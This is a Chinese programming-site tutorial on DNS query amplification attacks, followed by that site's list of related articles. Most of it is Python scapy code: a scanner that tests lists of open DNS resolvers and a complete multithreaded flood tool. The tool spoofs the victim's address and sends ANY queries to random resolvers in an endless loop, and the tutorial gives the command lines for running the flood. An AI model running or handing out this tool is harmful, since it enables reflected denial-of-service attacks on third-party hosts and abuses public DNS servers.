Python DNS查詢放大攻擊實(shí)現(xiàn)原理解析
查詢放大攻擊的原理是,通過(guò)網(wǎng)絡(luò)中存在的DNS服務(wù)器資源,對(duì)目標(biāo)主機(jī)發(fā)起的拒絕服務(wù)攻擊,其原理是偽造源地址為被攻擊目標(biāo)的地址,向DNS遞歸服務(wù)器發(fā)起查詢請(qǐng)求,此時(shí)由于源IP是偽造的,固在DNS服務(wù)器回包的時(shí)候,會(huì)默認(rèn)回給偽造的IP地址,從而使DNS服務(wù)成為了流量放大和攻擊的實(shí)施者,通過(guò)查詢大量的DNS服務(wù)器,從而實(shí)現(xiàn)反彈大量的查詢流量,導(dǎo)致目標(biāo)主機(jī)查詢帶寬被塞滿,實(shí)現(xiàn)DDOS的目的。
此時(shí)我們使用scapy工具構(gòu)建一個(gè)DNS請(qǐng)求數(shù)據(jù)包 sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="qq.com")),timeout=2)
查詢指定網(wǎng)站的DNS記錄,結(jié)果如下。
上圖可以看出,我們所發(fā)送的數(shù)據(jù)長(zhǎng)度要小于接收到的數(shù)據(jù)長(zhǎng)度,流量差不多被放大了3倍左右,我們只需要將源地址偽造為被害機(jī)器,并使用海量的DNS服務(wù)器作為僵尸主機(jī)發(fā)包,即可完成DDOS攻擊。
這里需要在網(wǎng)上找一些DNS服務(wù)器。
import socket,os,sys from scapy.all import * def Inspect_DNS_Usability(filename): proxy_list = [] fp = open(filename,"r") for i in fp.readlines(): try: addr = i.replace("\n","") respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2) if respon != "": proxy_list.append(str(respon["IP"].src)) except Exception: pass return proxy_list proxy = Inspect_DNS_Usability("./dnslist.log") fp = open("pass.log","w+") for item in proxy: fp.write(item + "\n") fp.close()
驗(yàn)證好有效性以后,接著就是Python多線程發(fā)包測(cè)試了,scapy構(gòu)建數(shù)據(jù)包時(shí)由于DNS數(shù)據(jù)包比較特殊,構(gòu)建是應(yīng)該按照順序 IP/UDP/DNS
來(lái)構(gòu)建,以下代碼可以完成發(fā)包測(cè)試
import socket,os,sys from scapy.all import * # 構(gòu)造IP數(shù)據(jù)包 ip_pack = IP() ip_pack.src = "192.168.1.2" ip_pack.dst = "8.8.8.8" # 構(gòu)造UDP數(shù)據(jù)包 udp_pack = UDP() udp_pack.sport = 53 udp_pack.dport = 53 # 構(gòu)建DNS數(shù)據(jù)包 dns_pack = DNS() dns_pack.rd = 1 dns_pack.qdcount = 1 # 構(gòu)建DNSQR解析 dnsqr_pack = DNSQR() dnsqr_pack.qname = "baidu.com" dnsqr_pack.qtype = 255 dns_pack.qd = dnsqr_pack respon = (ip_pack/udp_pack/dns_pack) sr1(respon)
最終的完整代碼如下所示,通過(guò)大量的DNS查詢請(qǐng)求實(shí)現(xiàn)針對(duì)目標(biāo)主機(jī)的拒絕服務(wù).
import os,sys,threading,time from scapy.all import * import argparse def Inspect_DNS_Usability(filename): proxy_list = [] fp = open(filename,"r") for i in fp.readlines(): try: addr = i.replace("\n","") respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2) if respon != "": proxy_list.append(str(respon["IP"].src)) except Exception: pass return proxy_list def DNS_Flood(target,dns): # 構(gòu)造IP數(shù)據(jù)包 ip_pack = IP() ip_pack.src = target ip_pack.dst = dns # ip_pack.src = "192.168.1.2" # ip_pack.dst = "8.8.8.8" # 構(gòu)造UDP數(shù)據(jù)包 udp_pack = UDP() udp_pack.sport = 53 udp_pack.dport = 53 # 構(gòu)造DNS數(shù)據(jù)包 dns_pack = DNS() dns_pack.rd = 1 dns_pack.qdcount = 1 # 構(gòu)造DNSQR解析 dnsqr_pack = DNSQR() dnsqr_pack.qname = "baidu.com" dnsqr_pack.qtype = 255 dns_pack.qd = dnsqr_pack respon = (ip_pack/udp_pack/dns_pack) sr1(respon) def Banner(): print(" _ ____ _ _ ") print(" | | _ _/ ___|| |__ __ _ _ __| | __") print(" | | | | | \___ \| '_ \ / _` | '__| |/ /") print(" | |__| |_| |___) | | | | (_| | | | < ") print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\") print(" |___/ \n") print("E-Mail: me@lyshark.com\n") if __name__ == "__main__": Banner() parser = argparse.ArgumentParser() parser.add_argument("--mode",dest="mode",help="選擇執(zhí)行命令<check=檢查DNS可用性/flood=攻擊>") parser.add_argument("-f","--file",dest="file",help="指定一個(gè)DNS字典,里面存儲(chǔ)DNSIP地址") parser.add_argument("-t",dest="target",help="輸入需要攻擊的IP地址") args = parser.parse_args() if args.mode == "check" and args.file: proxy = Inspect_DNS_Usability(args.file) fp = open("pass.log","w+") for item in proxy: fp.write(item + "\n") fp.close() print("[+] DNS地址檢查完畢,當(dāng)前可用DNS保存為 pass.log") elif args.mode == "flood" and args.target and args.file: with open(args.file,"r") as fp: countent = [line.rstrip("\n") for line in fp] while True: randomDNS = str(random.sample(countent,1)[0]) print("[+] 目標(biāo)主機(jī): {} -----> 隨機(jī)DNS: {}".format(args.target,randomDNS)) t = threading.Thread(target=DNS_Flood,args=(args.target,randomDNS,)) t.start() else: parser.print_help()
使用方式首先準(zhǔn)備一個(gè)test.log
里面一行一個(gè)存放所有的已知DNS列表,并通過(guò)check命令驗(yàn)證該DNS是否可用,并將可用的DNS保存為pass.log
main.py --mode=check -f dns.txt
當(dāng)需要發(fā)起攻擊時(shí),只需要指定pass.log 文件,則自動(dòng)使用該DNS列表進(jìn)行批量查詢。
main.py --mode=flood -f pass.log -t 192.168.1.1
到此這篇關(guān)于Python DNS查詢放大攻擊實(shí)現(xiàn)原理解析的文章就介紹到這了,更多相關(guān)Python DNS查詢放大攻擊內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
- Python模塊域名dnspython解析
- python批量處理多DNS多域名的nslookup解析實(shí)現(xiàn)
- 利用Python+阿里云實(shí)現(xiàn)DDNS動(dòng)態(tài)域名解析的方法
- Python爬蟲(chóng)DNS解析緩存方法實(shí)例分析
- Python實(shí)現(xiàn)的簡(jiǎn)單dns查詢功能示例
- python實(shí)現(xiàn)域名系統(tǒng)(DNS)正向查詢的方法
- Python中使用scapy模擬數(shù)據(jù)包實(shí)現(xiàn)arp攻擊、dns放大攻擊例子
- Python寫的一個(gè)簡(jiǎn)單DNS服務(wù)器實(shí)例
- python實(shí)現(xiàn)DNS正向查詢、反向查詢的例子
相關(guān)文章
python中正則表達(dá)式 re.findall 用法
在python中,通過(guò)內(nèi)嵌集成re模塊,程序媛們可以直接調(diào)用來(lái)實(shí)現(xiàn)正則匹配。本文重點(diǎn)給大家介紹python中正則表達(dá)式 re.findall 用法,感興趣的朋友跟隨小編一起看看吧2018-10-10python把ipynb文件轉(zhuǎn)換成pdf文件過(guò)程詳解
這篇文章主要介紹了用python把ipynb文件轉(zhuǎn)換成pdf文件過(guò)程詳解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2019-07-07vue.js實(shí)現(xiàn)輸入框輸入值內(nèi)容實(shí)時(shí)響應(yīng)變化示例
這篇文章主要介紹了vue.js實(shí)現(xiàn)輸入框輸入值內(nèi)容實(shí)時(shí)響應(yīng)變化,結(jié)合實(shí)例形式分析了vue.js使用v-model屬性進(jìn)行數(shù)據(jù)綁定的相關(guān)操作技巧,需要的朋友可以參考下2018-07-07Python通過(guò)TensorFLow進(jìn)行線性模型訓(xùn)練原理與實(shí)現(xiàn)方法詳解
這篇文章主要介紹了Python通過(guò)TensorFLow進(jìn)行線性模型訓(xùn)練原理與實(shí)現(xiàn)方法,結(jié)合實(shí)例形式詳細(xì)分析了Python通過(guò)TensorFLow進(jìn)行線性模型訓(xùn)練相關(guān)概念、算法設(shè)計(jì)與訓(xùn)練操作技巧,需要的朋友可以參考下2020-01-01使用Python和scikit-learn創(chuàng)建混淆矩陣的示例詳解
這篇文章主要介紹了使用Python和scikit-learn創(chuàng)建混淆矩陣的示例詳解,該示例包括生成數(shù)據(jù)集、為數(shù)據(jù)集選擇合適的機(jī)器學(xué)習(xí)模型、構(gòu)建、配置和訓(xùn)練它,最后解釋結(jié)果,即混淆矩陣,需要的朋友可以參考下2022-06-06Python中內(nèi)建函數(shù)的簡(jiǎn)單用法說(shuō)明
這篇文章主要介紹了Python中內(nèi)建函數(shù)的簡(jiǎn)單用法說(shuō)明,包括apply()、filter()、reduce()、map()四個(gè)函數(shù)的用法講解,需要的朋友可以參考下2016-05-05python讓圖片按照exif信息里的創(chuàng)建時(shí)間進(jìn)行排序的方法
這篇文章主要介紹了python讓圖片按照exif信息里的創(chuàng)建時(shí)間進(jìn)行排序的方法,涉及Python操作圖片exif獲取信息的技巧,需要的朋友可以參考下2015-03-03PyCharm 安裝與使用配置教程(windows,mac通用)
很多小伙伴下載安裝PyCharm后不會(huì)使用,這篇文章詳細(xì)介紹了PyCharm安裝與使用教程(windows,mac通用),需要的朋友可以參考下2021-05-05Python中ArcPy柵格裁剪柵格(批量對(duì)齊柵格圖像范圍并統(tǒng)一行數(shù)與列數(shù))
本文介紹基于Python中ArcPy模塊,實(shí)現(xiàn)基于柵格圖像批量裁剪柵格圖像,同時(shí)對(duì)齊各個(gè)柵格圖像的空間范圍,統(tǒng)一其各自行數(shù)與列數(shù)的方法,本文通過(guò)實(shí)例代碼給大家介紹的非常詳細(xì),需要的朋友可以參考下2023-02-02